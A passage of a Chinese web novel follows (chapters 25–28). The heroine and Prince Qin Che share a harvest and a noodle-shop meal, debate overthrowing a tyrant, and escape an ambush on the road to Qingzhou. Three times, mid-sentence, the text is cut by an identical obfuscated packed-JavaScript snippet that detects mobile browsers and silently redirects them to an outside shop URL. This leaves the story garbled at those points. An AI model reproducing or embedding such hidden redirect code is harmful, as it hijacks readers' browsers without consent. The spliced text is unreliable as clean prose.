“既然如此,本王陪你一起,只是已近晌午,先吃些饭再去。”秦澈沉默良久,最终这般说道。 慕衷情朝他露出一个灿烂的笑容:“好啊,大家一起吃。” 她立刻招呼李丰收母子和两名士兵过来一起分饭食。 好在秦澈了解她不会一人吃独食的性子,多带了些饭菜。 大家都填了肚子后,秦澈便也学着慕衷情的样子,将衣摆扣在腰带上,脱了鞋,卷起袖子和裤腿,向李丰收要了把镰刀。 下地之前,他轻声问了一句身旁的慕衷情:“若有一日,有人以此为由攻讦于你,该当如何?” 慕衷情头也不回地一脚迈入田地中:“那就让他吃屁去吧!” 25. 二十五、 镰刀在手,天下我有。 慕衷情有段时间没干农活了,但割了几捆小麦之后就找回了状态,她没有刻意去照顾秦澈,秦澈从来没下过地,只能学着慕衷情的姿势和动作去适应。 至于其他人,个个都离得远远的,生怕自己多往慕衷情身上看一眼,眼睛就保不住了。 慕衷情明白,他们的思想不是一时半会儿可以改变的,很多时候,她都只是那个穷则独善其身的人,做不到兼济天下,好在这一次,秦澈没有逼她,让她保留了自己的坚持。 在割完一框后,慕衷情扶着腰直起身,看向秦澈的方向,观察了一会儿他的姿势,虽然不能说很专业,但好歹没出大错,她便没有多说什么。 这副身体还是太弱了些,这段时间事情一件接一件,慕衷情都没能续上八段锦的锻炼,只割了这么一会儿,就有些累了。 将框里的小麦堆到一旁后,慕衷情锤了几下腰,她的脚上早就沾满了泥土,手上也不知何时划开了几道细小的口子,越发不想一个养尊处优的大家闺秀。 她望向李丰收几人的方向,他们的速度果然比自己和秦澈的快多了。 这块田开了五条竖沟,正好一人割一列,只是李丰收几人收割的方向与他们相反。 到后面,李丰收几人割完自己的部分后,也帮着他们一起把剩下的部分解决。 将收获的麦子抱到李丰收家附近的平地上去晾晒整理,而后前往下一块田。 慕衷情趁着这空档坐在地上休息了一会儿,她到后来完全是在靠意志支撑,每次直起腰时都酸痛得想放弃。 秦澈虽没做过农活,但军队训练也不是什么轻松的事情,他的体力比之这个从小大门不出二门不迈的身体自然要好上许多。 可当他看着慕衷情瘫坐在地上,汗水将她鬓边的碎发粘在脸侧,抬着头平复呼吸的模样时,秦澈还是坐到了她旁边:“往常只知任何事要做成都不易,却不知光是收获就如此疲累,想想这一年到头,从播种到收获,他们又要在这里来回多少遍。” 慕衷情抬起手指着天,手臂还在微微颤抖:“你知道吗?其实最难的不是累,如果只需要付出体力,就能得到足够的收成,安稳的生活,那对他们来说,已经是天大的好事,最难的是天,他们若今日收完小麦,便要祈祷后面的几日不要下雨,好将麦子晒好筛除杂志保存起来,但在下一轮播种开始后,又要祈祷不要连续几月不下雨,以免影响新的收成,雨下多了是涝,下少了是旱,看天吃饭才是最难的。” 说着,她撑起身体站了起来,在原地舒展了一下手脚,又绕圈跑了几步。 “不过还是要谢谢王爷今天也来帮忙,我早就说过嘛,王爷是个好人。” 慕衷情拎起自己的鞋子,虽然脸上有看得出的疲惫,但她还是带着满脸的笑意走向李丰收家分到的下一块田,和刚刚回来的李丰收几人打招呼。 “李大哥,今年的收成好像不错呀,恭喜呀。” 李丰收害羞地摆了摆手:“还是要谢谢你们,帮我治病,还给我们分了地。” 慕衷情小跑过去,拍拍那两个早就脱了盔甲干农活的士兵的肩,笑道:“那得谢谢他们俩呀,他们可比我厉害多了。” 她边说边对跟在后头的秦澈使了个眼色,秦澈状似不经意地加快脚步,在经过那两名士兵身边时说道:“辛苦了,晚上去县里请你们吃顿好的。” 两名士兵皆是眼睛一亮,异口同声道:“多谢王爷。” 慕衷情见状,觉得自己和秦澈还是挺有默契的,习惯性地抬手想要击掌。 秦澈疑惑地看着她的动作,又犹豫地看了看自己的手,伸过去轻拍了一下。 李丰收家的另一块地要大得多,明显一日内是收不完的,一直到黄昏时分,连三分之一都没收完,只能等第二天继续。 几人到李丰收家中冲洗手脚上的泥土后,秦澈便准备履行诺言,带他们去奉德县城中吃一顿好的。 劳作了一下午,他们早就饥肠辘辘。 秦澈也不了解这里的店面哪一家更好吃,便让士兵自己挑选一家。 逛了一会儿后,他们进了一家面店。 丰州人多爱吃面食,其面食风味也颇有名气。 这家店的店面并不算大,还有好几桌放在店门外,但生意极好,几乎都没坐满,也就他们运气好,来时刚好走了一桌,腾出了空位。 四人围坐在小方桌旁,慕衷情直接拿水壶给每个人倒水,那两名士兵在最初的兴奋过后开始诚惶诚恐,满脸都写着拘谨和紧张。 慕衷情刚把杯子推过去,其中一人便连忙低声说道:“王妃,这万万不可,您给王爷倒一杯茶水就好,我们自己来,自己来。” “都是自家兄弟,客气什么。”慕衷情不由分说,直接又倒了一杯,放到另一人面前,而后才给秦澈和自己倒水。 秦澈拿起杯子:“多谢。” 慕衷情吹凉一些茶水,而后一口饮尽:“你们别愣着啊,要吃什么快点。” 两名士兵下意识地看向秦澈,秦澈朝他们点头后,才仔细去看墙上挂的菜单,两人小声商量了几句之后,说要点两份阳春面。 慕衷情看了一眼,阳春面是最便宜的,她没有直接反对,而是和秦澈商量道:“我们一人再点一碗面,然后再点一些肉包啊点心这些怎么样?” 秦澈自然一口答应,他本就是来犒劳手下的,只让人吃两碗阳春面也太寒碜了点。 这家小面馆的主人是一对夫妻,丈夫做面,妻子和女儿帮忙点单上菜收盘子洗碗,遇上饭点时,三个人都忙得像陀螺似的一刻闲不下来。 这家的小女儿看起来才十岁左右,给他们上菜时,慕衷情注意到她还需要微微踮脚才能将托盘平整地放到桌上,以免面汤撒出来。 慕衷情顺手帮她拿了一下:“小心,我们自己来就好。” 女孩长得很可爱,她歪头看向慕衷情,似乎有什么疑问,但另一边还在催促她继续上菜,跑出几步后,她又回头看了慕衷情一眼。 不过慕衷情没有注意到,因为她实在是饿了。 谁家好人干了大半天的农活能不饿的啊! 在这样充满烟火气的店面中吃饭,慕衷情全身心都放松了下来,颇有之前和同事们在一起值班后出去搓一顿的快乐。 尝了一口面后,慕衷情眼睛一亮,立刻开始大口大口地吃起来,丝毫不顾及什么矜持的形象。 见她这般,两个士兵也都放松不少,相比之下,秦澈反而是最慢条斯理的那个。 等慕衷情端着碗把汤也喝光后,就看到秦澈才吃了一半。 她问道:“怎么,不合口味吗?” “不,很好吃。”秦澈轻轻摇摇头答道。 “那你怎么吃这么慢,我还以为你不喜欢呢。”慕衷情又拿了个包子吃。 “无论是在府中,还是在军中,都甚少有机会品尝这般味道,很是难得。”秦澈垂着眼眸,昏黄的灯光落在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938912|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睫上,温柔又伤怀。 慕衷情看向周围,有许多带着孩子的家庭,她觉得秦澈可能是想念家人了。 就在她想着怎么安慰一下秦澈时,忽然听到附近一桌人的讨论声。 “前些晚上的事情你们听说了吗?那张家老爷被人吊死在自家大门了!田产充公,债约作废,这可是天大的好事啊!” “这当然听说了,就是可惜我家住得远,当时没亲眼看见这场面。” “以前就知道这清王爷是个将军,没想到还是个青天大老爷啊。” “诶,谁说不是呢,要不是王爷,我都分不到地,你别说,这自家的地,再苦再累都觉得心里舒坦。” …… 他们谈的都是这两天分地和收小麦的事情,即使一天劳作下来,依然神采奕奕,眼中充满希望。 慕衷情扬起欣慰的笑容,将听到的内容分享给了其他人。 两名士兵都肉眼可见地感到自豪和高兴,秦澈脸上也有笑意,只是更加克制和收敛。 认识这么久了,慕衷情还是很难在平常的时候将秦澈当做一个将领,他总是这样温和内敛,像握着笔的书生,而非拿着武器的军人。 当然,拿剑指着她的时候除外。 走之前,秦澈起身去柜台结账,老板娘连忙在围裙上擦了擦手。 两人不知说了些什么,过了好一会儿,秦澈才回来。 等到两名士兵回了县衙,两人单独相处时,慕衷情才问出自己的疑问:“你刚刚付账时,和老板娘聊了什么呀?” “没什么,只是向他们定了一百份面,希望他们明天帮忙送到县衙,让他们都有口热的吃,在帮忙的不止我们,总不能厚此薄彼。”秦澈解释道。 慕衷情立刻给他竖了个大拇指:“没错,想得真周到。” 两人牵着马,却都没有骑,悠闲得像是在散步。 “明日,最迟后日,京中的旨意应该就要到了,他会召我回京问责。”秦澈忽然说道。 慕衷情问:“那你呢?你会回去吗?” “不去便是抗旨,陈述奉德县近况的折子我明日便会派人送往京城,待此间事了,我准备回清州。”秦澈顿了顿,像是在提醒慕衷情,“衷情,自古伴君如伴虎,此番抗旨不知会引来怎样的盛怒,纵然他不敢轻易动我,却也危险难测,若你不愿卷入其中,可以留在这里,宋远疾与白飞鹰对你亦是推崇有加,对外我便称你行军劳累,病死途中,往后人生,你当自由自在,不必再做慕府二小姐,也不必再做清王妃。” 慕衷情停下脚步,望向秦澈的目光中满是震惊,她的确是没有想到秦澈会为她考虑到这种程度。 可她的答案很明确,几乎不需要犹豫,只是她沉默了一路,直到走到无人的郊外,才给出她的回答。 “王爷,别忘了,我们还有三年之约,我可不是背信弃义的小人,抗旨不抗旨的,说实话,我还真不在乎,杀人不过头点地,大不了哪日被逼至绝境,王爷赏我个痛快便可。 “不过这都是后话,我不会留在这里的,王爷,你知道姜喧是个什么样的皇帝,也该明白在他的统治下,偏安一隅几乎是不可能的,因为他会榨干这片土地上的每一寸血,来供他自己的享受,这一点不改变,即使现在奉德县看起来欣欣向荣,也早晚会变回我们刚来时的模样。 “所以王爷,无论如何,我都要跟您回清州,您是目前唯一一个能够改变这一切的人,我想您明白我的意思,对吗?” 26. 二十六、 秦澈忽然停下。 “衷情,你可知你在说什么?” 慕衷情毫不畏惧地与他对视:“我当然知道,王爷,如果这天下一定要有个皇帝,那也不该是姜喧。” 秦澈低眼:“这是谋反。” “不,推翻昏君暴政,是起义,是为国谋长远,为民谋福祉。”慕衷情依然坚定地回答。 秦澈对于姜喧的不满显而易见,他只是始终绕不过从小被灌输的忠君思想,才会迟迟没有动手。 慕衷情不信他从未有过反了的心思,见他不语,便再次加一把火:“我知你世代忠良,可这朝代不也是一代又一代更迭而来吗?前朝暴虐,于是先祖起义,建立新朝,世袭罔替,何为忠义,你忠于的到底是什么?是国与民,或仅仅只是皇位上坐着的那个人?” 秦澈:“可改朝换代,必经大乱,届时死伤流亡者,不还是百姓?” 慕衷情:“长痛不如短痛,与其让他们生活在一个不见天日的牢笼里,不如拼一把,只要你让他们懂得是为何而战,为谁而战,他们自然会做出选择。” 秦澈:“身在牢笼,也至少还能活着,想要逃出去,便可能十不存一!” 慕衷情:“十不存一便十不存一,若能挣得一丝希望,便是死得其所,我愿以血荐轩辕!” 秦澈:“他们亦有亲朋,不该牺牲在这般欲望权力的斗争之中,你无法替代他们去做选择,战争一旦开启,死生便由不得你我了。” 慕衷情闭了闭眼:“王爷,无权无势的普通百姓,他们何曾掌握过自己的生死?茫茫的历史中,无数百姓早已无名无姓地消失在其中,可一个人活在世上,就该因普通而认命吗?我绝不认命,王爷,如果是我,我愿意抗争到底,哪怕代价残酷,哪怕有去无回,你又怎知,人人都不愿意?” 秦澈别过头,他忽然有些不敢看慕衷情的眼睛:“我上过无数次战场,我知道那有多残忍可怕,他们不该因为我,陷入这样的地狱。” 慕衷情激动地上前一步,狠狠扣住秦澈的手臂:“秦澈!你丫是不是傻的?脑子就这么转不过弯来吗?连年灾患,层层贪污,卖官鬻爵,四处剥削,难道你以为这没有战争的天下,无辜死去的百姓便少了吗?” “你让我再想想,再想想。”秦澈叹息一声,他自然是想过,甚至可以说,想过不止一次,只是迟迟下不了决心。 “自然是要好好想想,这不是一朝功成便完结的故事,你要想的不只是怎么赢,还有赢之后怎么改。”慕衷情翻身上马,“行了,别散步了,干了一天活我都累死了,快点回去睡觉。” 秦澈苦笑着摇摇头,他发现自己已经完全习惯慕衷情这丝毫不分尊卑上下的语气,或许,他的确需要好好想想,在开始之前,他最该改变的,是自己。 * 翌日,慕衷情拿着镰刀照常去李丰收家的田收小麦,她注意到今日来的两名士兵并不是昨日那两个,便好奇问了句:“今天怎么是你们呀?宋远疾是安排了轮换吗?” 其中一人答道:“秉王妃,我们也是宋大人临时抽调的,昨日的两名同僚似乎是被安排到别处了。” 慕衷情点点头:“行,小问题,待会儿开始前你们问一下李丰收大哥,听他指挥就好。” “是,王妃。”两人异口同声地说。 这一天,秦澈并没有与慕衷情一起过来,慕衷情清晨出门时,他正与部下商量什么事情,为了不吵醒她,声音也很轻,而慕衷情也很自觉,穿好衣服后跑得飞快,什么也没听到。 不过中午的午饭秦澈还是派人送了过来。 日落之后,慕衷情独自一人骑马回的军营,今日秦澈也没有来接她,第一次孤身一人走这段路,慕衷情忽然觉得每次路过的这片林子显得有些阴森。 她一边策马,一边在心里无限默念。 “富强民主文明和谐自由平等公正法治爱国敬业诚信友善……” 靠着这科学的力量,慕衷情飞快穿过这条路,回到了军营。 刚栓好马,就有一名士兵过来:“王妃,王爷有令,请您一回到营中便立刻去见他。” 慕衷情点头道:“好,我现在就去。” 慕衷情是小跑着过去的,秦澈从来不曾对她有过类似的命令,可见是有什么着急的事情,她生怕自己耽误时间。 回到中军帐后,慕衷情就敏锐地发现帐中的东西似乎被收拾过了,她连忙问道:“王爷,发生什么事了吗?” 秦澈不知在写什么,慕衷情没有走近,见到她来,秦澈搁笔说道:“据探子的消息,圣旨明日便到,这回他派的是宫中的公公前来宣旨,看来是铁了心要让我回京,你收拾收拾,今日子时,我们便出发离开奉德县,前往清州。” 慕衷情听完后,默默地对秦澈竖起大拇指:“妙啊,我没接到圣旨,不就不算抗旨了吗?给你单走一个6。” 秦澈目露疑惑:“什么,六?” “额,这不重要,你今天就是在安排这些事情吗?”慕衷情问道。 “嗯,我决定留三百人在此处,其余人均随我回清州,带回到清州,他便拿我无可奈何。” 瑾朝分九州,共九位一字王,均是当年开国功臣或王公贵族之后,采取世袭制,秦家在清州经营百年,就算是姜喧本人来到清州,怕也是要掂量掂量自己的分量。 慕衷情再次感叹,手握重兵,一州之王,声望极高,秦澈还真是buff叠满了。 所幸慕衷情此次出门本就没有带太多杂物,很快便收拾好自己的行李,只等秦澈一声令下。 “你这是在写什么?”收拾完行李后,慕衷情看到秦澈还在写东西,便问了一嘴。 “既要回清州,自然要禀告一声,只是丰州离京城太远,送达时,我早已离开罢了。”秦澈笑着印上火漆道。 “这时间差,你还真是打得妙。”慕衷情抱着自己的包袱,坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954947|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在凳子上,默默地等待子时到来。 月上中天时,慕衷情已经骑在马上,这一回她不再隐藏于大军中,而是与秦澈并肩同行。 启程前,秦澈再次问道:“衷情,我之前说过的话依然有效,此行艰险,恐有生命之危,你若不愿,可留在此处。” 慕衷情检查了一遍包袱是否系紧,又不放心地打了个结:“虽前路未知,但一诺千金,生死不弃。” 两人相视一笑,那个为期三年的君子之约,他们都记着。 风过密林,沙沙作响。 但慕衷情的声音还是有许多人听到,身后的士兵们纷纷露出向往的眼神。 ——王爷和王妃真是情比金坚,至死不渝啊! 为了抓紧时间赶回清州,秦澈选择走更宽阔平坦的大路。 “吁——”然而还没离开多久,慕衷情便看到不远处有星星点点的火光,她与秦澈几乎同时停了下来。 很快,他们便看清了,那些火光都是一个个举着的火把。 站在最前方的,是宋远疾和白飞鹰。 他们走到秦澈的前方,宋远疾郑重地作揖行礼,随后笑道:“我劝过他们了,可他们一听说你们要走,坚持要来送你们一程。” 说着,他让开几步,他的身后是奉德县的百姓们,有那日诉苦大会中几乎哭晕过去的妇人,有分地时帮忙调解说理的老人,还有那日开面馆维生的夫妻两人,有很多很多慕衷情觉得眼熟,却不知姓名的人。 白飞鹰一挥手,喊道:“大家快去送吧,再不送就来不及了!” 说着,人群一拥而上,在这几日分地和收小麦的过程中,不少士兵都帮过奉德县的农户,还有的跟着蒋羽到处治病救人,有的四处巡逻维持秩序。 不少百姓都找到了曾帮助过自己的士兵,纷纷将手中的东西塞到对方怀中,大部分都是面食干粮。 热闹间,一个人走到了慕衷情的马前,正是李丰收。 “慕姑娘,这是俺娘特意交代我送给您的,她说,你一个姑娘家在外奔波不容易,这两日在地里,她看到你的脚上有伤口,便连夜纳了鞋垫,这不是说什么珍贵礼物,您别嫌弃。”李丰收有些不好意思地笑着,双手将鞋垫举起递给慕衷情。 慕衷情抿了抿唇,双手接过:“谢谢,这是非常珍贵的礼物,非常非常珍贵。” 李丰收挠了挠头,憨厚地笑了笑。 许久之后,夜晚恢复了它该有的宁静。 百姓们仍旧举着火把,只是这次,他们站在道路两旁,目送着大军离去。 慕衷情将鞋垫收好,转头问秦澈:“走?” 秦澈的目光落在她的脸侧,柔声道:“你又哭了。” 慕衷情无所谓地一笑:“没关系,风会吹干所有的眼泪。” “好,出发!”秦澈一声令下,所有人再次动身。 慕衷情挥鞭策马,向着月,迎着风,肆意自由,一如往昔。 27. 二十七、 出发没多久,慕衷情便从秦澈口中得知了一个并不算好的消息。 从丰州到清州,无需途径其他州府,一路向东南即可,但问题在于,想要从丰州过境入清州,有且只有一条大路。 这意味着,他们的路线和动向是可预见的。 这也是秦澈一直笃定前路艰险的原因,只有一条路,只要姜喧猜到他们会抗旨回清州,就可以提前做好准备,埋伏、截杀,最后再找一个理由,把锅推给别人,就能除掉秦澈这个心腹大患,又不用被指责。 就算所有人都知道真相,只要秦澈身死,又有多少人敢仗义执言? 五日后。 越接近丰州与清州的边界,慕衷情心中就越不安,一路上太平静了,就连她都能察觉到山雨欲来风满楼的紧张氛围。 这一日晚,天又下起了淅淅沥沥的小雨,整得慕衷情心情更加郁闷。 她站在帐内,想给门口值守的士兵递两把伞,然后被无情拒绝。 慕衷情更加郁闷了,她盯着外头的雨,和黑沉沉看不见月光的天空,算是彻底明白了什么叫做哀景与哀情。 就在她百无聊赖地看雨时,忽然感到肩上一痛,整个人被大力往后带去,她踉跄几步,就看到几支箭落在了营帐之内的地上。 如果刚刚秦澈没把她拉开,说不定她已经死了。 慕衷情一瞬间感到手脚冰凉,她立刻转身躲到桌椅背后,问道:“王爷,什么情况?” 秦澈躲开暗箭,从一旁拿出自己的长枪:“杀我的人来了,外面情况不明,你躲好,小心为上。” “好嘞,绝对听话。”慕衷情说完,秦澈就拿着长枪出了营帐,外头很快传来各种喊杀声,慕衷情将椅子挡在身前,慢慢地挪到床榻旁,开始拿自己的东西,能拿多少是多少。 很快,又有几支箭射进了营帐内,慕衷情暗骂了一声,抱着自己的家当躲在床后面,又拉了屏风挡在身前。 慕衷情紧张地手心都是汗,心道早知道去报考警察了,说不定这种时候还能有点自保能力,她往四周又看了看,啥趁手的武器都没,实在是天要绝她之路。 没过几分钟,慕衷情听到营帐内似乎进了人,兵戈相击之声离她越来越近。 “MD拼了。”慕衷情仔细听着那些声音,用耳朵判断距离,直到确认对方离自己只有一步之遥时,她猛地将屏风往前推开,然后立刻蹲下,抬眼瞄了一眼,刚刚的屏风将正在打斗的两人分开,左边是不认识的家伙,右边是秦澈。 慕衷情抱着家当就往秦澈的方向一滚,很快,秦澈便解决了这个追进来的刺客。 “走。”秦澈拉着慕衷情往外跑,边跑边快速与她说明情况,“这回他是铁了心要杀我,派来的人不在我此番带的人数之下,待会儿出了包围圈,你就一直往外跑,不要回头,知道吗?” “那你呢?”慕衷情问道,“你怎么办?” “我自有办法。”秦澈这般说着,手中长枪挑飞一个刺客,手收力,将慕衷情往怀中一拉,一脚踢翻妄图在慕衷情背后偷袭的刺客。 慕衷情只看得到双方人群在混战,刺客均是黑衣蒙面,人多得离奇。 “艹,去死吧!”慕衷情将家当背到肩上,一手抽出秦澈腰间的佩剑,一剑刺进秦澈无暇顾及的左后侧刺客的胸膛,长剑拔出时,温热的鲜血溅到她的身上。 她浑身都在抖,血腥气迅速侵占她的嗅觉感知,她感到双腿发软,但仍然咬着牙,不肯落下一步。 秦澈的身上和脸上都是血,慕衷情都分不清他有没有受伤,就见秦澈刺死一人后,斩断栓马的绳,单手扶她上了马:“走。” 慕衷情着急地问:“你不一起走吗?” 说话间,秦澈的枪尖划开马后出现的刺客,慕衷情则持剑劈向身前冲过来的刺客。 秦澈抹了一把脸,笑了:“若是我与你一起走,你还走得掉吗?” 他们的身旁是无数熟悉的士兵在拦着如潮水一般的刺客,慕衷情差点都分不清,到底哪方才更像一个军队的人数。 “王爷,王妃,快走!”不知是谁喊了一声,随即四处都响起相同的喊话。 秦澈狠狠地拍了一下马,直接将慕衷情送走,气得慕衷情破口大骂:“秦澈你大爷的!别替我做决定!” 刘竹柏不知何时也已经杀到了秦澈身旁,如同刚刚秦澈所做的那样,斩断绳索。 “王爷,你快走!这里有我们顶着!” 秦澈没有说话,也没有上马,以他的实力,又有众多士兵帮助,想要一个人逃离并不是什么难事。 但他做不出这样的事情。 刘竹柏身上已经多处负伤,见状一咬牙喊道:“王爷,恕末将直言,他们的目的是刺杀王爷,只要王爷离开,我们自然不会有事!” 这话说得难听,但是也不无道理,秦澈看着不断倒下的部下,有了决断。 他翻身上马,却不是向后撤离,而是向前冲入了人群之中。 途径之处所有人纷纷避让,生怕自己死在马蹄之下,秦澈在马上边杀边大声喊道:“秦澈在此,欲取我性命者,来!” 他可以走,但不能毫无价值地走。 果然,不少黑衣人都被他吸引了注意力,离他近的人更是不要命般地杀了过去,秦澈策马离去的途中,还拿走了印有秦字的旗帜,让自己的目标更加明显。 黑衣人纷纷想办法脱身去追秦澈,刘竹柏目眦欲裂:“都给我追!” 无数流矢擦身而过,可秦澈始终只是一个人,身手再好也不能保证自己能够全身而退。 拿着旗帜的手还是在离开营地之时中了一箭,不过这对于秦澈来说,不是什么大伤,忍着痛,他依然举着旗向前。 就在这时,秦澈忽然听到身后传来一阵骚乱,他回头看去,雨不知何时更大了些,让他的视线有些模糊,刘竹柏掩护着慕衷情一路冲杀过来,慕衷情的身上多了几道伤口,神色冷峻。 “王妃,快带着王爷走,我们来拦住他们!”刘竹柏对慕衷情大声道。 雨声愈加嘈杂,慕衷情呐喊到破音:“好!活下去,清州见!” “清州见!” 此起彼伏的回应在营中响起。 随后慕衷情指了一个方向:“秦澈,往这儿走!” 这一回,秦澈没有再拒绝,他跟着慕衷情直接进了最近的一座山。 身后的厮杀声仍在持续,山路泥泞崎岖,马并不好走,因此只又骑了一段距离,慕衷情与秦澈就下了马。 慕衷情又冷又痛,从紧紧系在身上的包袱中拿出了一件换洗衣服,撕开后给自己腿上的最大的一道伤口包扎,好在她身上虽有不少伤口,但都是皮外伤,只要能忍住疼,就不影响行动。 给自己迅速包扎完后,她对秦澈说道:“你忍着一些。” 说罢,她直接将秦澈手上的箭矢拔了出来,秦澈疼得青筋暴起,但咬紧牙根一声未吭。 趁着箭矢刚拔出来的时刻血流不止,慕衷情用手捧了一些血,往一个方向洒去,然后才帮秦澈紧急包扎止血。 “现在下着雨,等他们追上来的时候,血迹有可能会被冲掉,也有可能还在,但现在也没有太多误导他们的方法,两匹马要往两个方向赶,迷惑他们,我们往第四个方向走,你打仗这么多年,应该知道怎么隐藏行踪吧?我们尽量不要留下痕迹,就还有机会逃出去,你这伤口进了水,万一发烧很危险,一旦发现自己情况不对,一定要告诉我往清州的方向。” 慕衷情边说,边将他们的两匹马往两边驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971524|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶离开,而后将剩余的碎布揣进怀里以备不时之需,搀住秦澈说道:“不能再耽误时间了,快走。” 秦澈心中为慕衷情的冷静和灵活所震撼,但还是立刻点头,此次姜喧不知派了多少人来,看刚刚的情形,怕是趁着丰王之死,直接调用了部分丰州驻军也不无可能。 他们不能硬碰硬,只能想办法躲开。 雨天的山路更不好走,更别提他们每走几步都要掩盖好刚刚的脚印,也不能让植物倒伏得太过明显。 因此行进得很慢。 “清州在丰州的东南方向,日出为东,若是我不省人事,你只要一路往东南走,进入清州境后,将此玉佩交给守军查看,他们自然会好好安顿你。” 秦澈身上的伤比慕衷情的更多更重,若非他常年征战,受伤已经习以为常,意志力也足够强大,换一个人可能已经直接倒下了,但秦澈担心自己会拖累慕衷情,还是如交代后事般拿出一枚玉佩递给了慕衷情。 慕衷情没有推辞,直接接过贴身放好。 “我记住了,但是我说过,我一诺千金,生死不弃,就算你死了,我也要把你的尸体带回清州,所以为了我的命,你最好还是活着,自己走回去。” 秦澈眼前阵阵发黑,他失血过多,伤口又一直淋着雨,已经有些发炎的迹象,只是一直强撑着。 雨始终没停,天边已有些许微光。 慕衷情也清楚秦澈现在经不起折腾,便想找个山洞休息下,奈何这个影视剧中每次总是适时出现的山洞,走到快天亮都没出现。 “秦澈,你再坚持一会儿,我们很快就能走出去了。”慕衷情扶着秦澈,她能够感受到秦澈需要的支撑越来越多,随时可能会晕过去,但是她没有什么办法,只能一直和秦澈讲话,试图让他保持清醒,“秦澈,你看现在都没人追上来,要么就是他们被解决了,要么就是被我们引到别的方向去了,我们可不能倒在安全之后。” “我知道,你放心,在确认你安全之前,我不会倒下。”秦澈的声音听起来已经很虚弱,但他还是安慰着慕衷情。 “你太重了啊大哥。”慕衷情走到一个树下撑着,大口喘着气,“走完这么一趟,我的命也得去掉半条。” 秦澈扶着树,努力不将重量压到慕衷情身上,他观察四周,最后指向一个方向:“往那里,是离清州最近的路。” 慕衷情早就分不清东南西北了,闻言只问道:“既然你知道那里最近,他们是不是也会认为我们会选择这条路?” “再往南,还是丰州边境,进不了清州,但是有城镇,可以暂时歇脚。”秦澈微微牵起嘴角,“这两条路都是上选,也都不能选。” 慕衷情抹了一把脸,骂道:“姜喧这个死变态,烦死了。” “不行,还是要先治好你,就算不能选,也得选,不然就真的无路可走了。”慕衷情低头快速思索,忽然蹲下往地上抓了一把湿泥土往秦澈脸上抹去,“也没有什么工具来乔装,先糊把脸吧,下山后你把外衣脱,算了,还是反着穿吧,意思意思,不然我怕你还没治好,就直接挂了。” “挂,了?”秦澈疑惑。 慕衷情没心情给他解释,催促道:“一鼓作气,再而衰,三而竭,别休息了,直接走到你说的那个城镇去吧。” 说着,慕衷情又站起来,话是这么说,心里却在吐槽,当年高中冬季拉练她都没这么累过。 一直走到天光大亮,雨停日出,慕衷情终于看到了不远处的城墙。 “秦——我们到了!我们到了!”慕衷情激动地说道,同时也没忘了现在开始要隐藏身份。 就在这时,她忽然感到身上一沉,几乎脱力的她直接被压得坐到了地上。 “喂!你醒醒,你别给我睡过去啊!” 28. 二十八、 “慕丫头,你身上的伤还没好呢,快歇着吧,这些事情我来就行。” “没事儿,赵婶,这几天在您这儿住着,给您添了不少麻烦,您这边的活儿我能帮一点是一点。” “哎呀,这世道,大家都不容易,谁都怕遭灾,你呀休息会儿,我看看药煎好了没。” “诶,辛苦赵婶了。” 秦澈刚刚醒来时,就听到慕衷情和一个陌生的女声在说话,他撑起身子坐起来观察四周,自己应该是身处一户平民家中,听对话像是昏迷了几天。 他掀开被子,摸了摸身上的伤处,都已经被处理得很好。 慕衷情帮赵婶家晒好衣服,拿着洗衣盆转身想进屋,正好看到秦澈扶着门框一步一步慢慢地走出来。 她立刻将盆放到地上,上前扶住人:“你醒了?你可算醒了!你知不知道你之前烧了快三天,要吓死我了!” 慕衷情差点喜极而泣,天晓得当时秦澈昏迷又发烧的时候她有多害怕,不管怎么说秦澈也是她来到这个世界后接触最多的人,就算发生了这么多事,她也早已将秦澈当做朋友看待了。 秦澈抬手,抓了一把门外的阳光,递到慕衷情面前:“天亮了,我就醒了。” 慕衷情被他逗笑,跑去屋内搬了把椅子放到院子里,将秦澈扶过去坐下:“看你精神不错,先晒会太阳吧,待会儿可还要喝药的。” 秦澈抬头望着慕衷情,神色温柔:“这一次要谢谢你。” “这种话呢,就不用多说了,你又不是没帮过我。”慕衷情摇摇头说道,“我先帮赵婶打扫一下,你好好休息哦,乖。” 秦澈浅笑着点点头。 过了一会儿,慕衷情端着煎好的药过来,刚要递给秦澈,忽然像是想到了什么,问道:“你饿不饿啊?睡了这么多天,喂饭也喂不了,只能给你喝点药和水,待会儿赵叔就回来了,你还是先吃点东西再喝药吧。” 话音刚落,院子的门就被推开,一个朴素的中年男人走了进来。 “赵叔,今天回来得挺早呀,生意是不是挺好的?”慕衷情自然地打招呼。 赵叔放下扁担,秦澈看了一眼,上头主要是木雕和绣品。 “还成,这每天都差不多,你相公终于醒啦。”赵叔打量了秦澈几眼,“长得果然是俊俏。” 